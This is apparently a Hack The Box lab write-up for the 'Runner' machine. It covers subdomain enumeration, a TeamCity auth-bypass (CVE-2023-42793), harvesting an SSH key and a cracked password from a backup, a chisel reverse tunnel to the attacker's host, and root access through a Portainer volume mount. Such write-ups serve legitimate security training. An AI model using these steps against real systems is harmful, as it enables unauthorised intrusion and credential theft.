Post

HTB - Runner

Runner - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - Runner

NMAP

image1

Add runner.htb to /etc/hosts

Subdomain enum

1
gobuster vhost -u http://runner.htb -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -t 64 --append-domain

image2

Add teamcity.runner.htb to /etc/hosts

We get a login page

image3

  • There is an auth bypass exploit for this version of TeamCity (v.2023.05.3):

https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis?referrer=etrblog#:~:text=/RPC2.-,Exploitation,-To%20leverage%20the

  • This github has a python script to exploit this automatically:

https://github.com/H454NSec/CVE-2023-42793

image4

image5

  • Login to teamcity with the credentials:

image6

image7

  • We have a backup tab in the admin console
  • Click start backup, and then click the link to download the zip file:

image8

  • If we do tree on the extracted zip, we can see a private ssh key:

image9

or using find and searching for key words:

image10

1
2
chmod 600 id_rsa

  • Find the username:
1
2
grep -rnwi . -e "username"

image11

1
2
ssh -i id_rsa john@10.129.78.6

image12

1
2
cat user.txt

  • We also have a database dump in the backup file:

image13

  • Here we have a users file with hashes:

image14

  • We can crack the hash for Matthew:
1
2
hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

image15

Matthew : piper123

  • Upload LinPEAS From Linpeas we can see docker being used and portainer is running, as well as port 9000 is open (which is normally used by docker)

  • Upload chisel and run:

1
2
./chisel client 10.10.14.29:8888 R:socks &

  • Browse to 127.0.0.1:9000

image16

  • Log in with the matthew credentials

  • We have some images available:

image17

  • First thing is to create a volume - with the following volume options:

image18

To add volume options - Click on add driver option

image19

  • Now we can create a container to map the volume to: Click on:

image20

Find any of the available images and put the name in:

image21

Command and Logging - Interactive:

image22

And in Volumes:

image23

  • Now deploy container

  • We can now click out and back in to the container we made, and console in:

image24

  • Now we can console into it and look in /mnt/root/root:

image25

This post is licensed under CC BY 4.0 by the author.